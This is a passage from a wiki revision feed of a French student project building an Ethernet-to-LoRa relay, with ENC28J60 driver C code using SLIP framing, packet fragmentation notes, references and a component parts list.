			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragment et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39270</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39270"/>
				<updated>2017-02-16T10:27:04Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
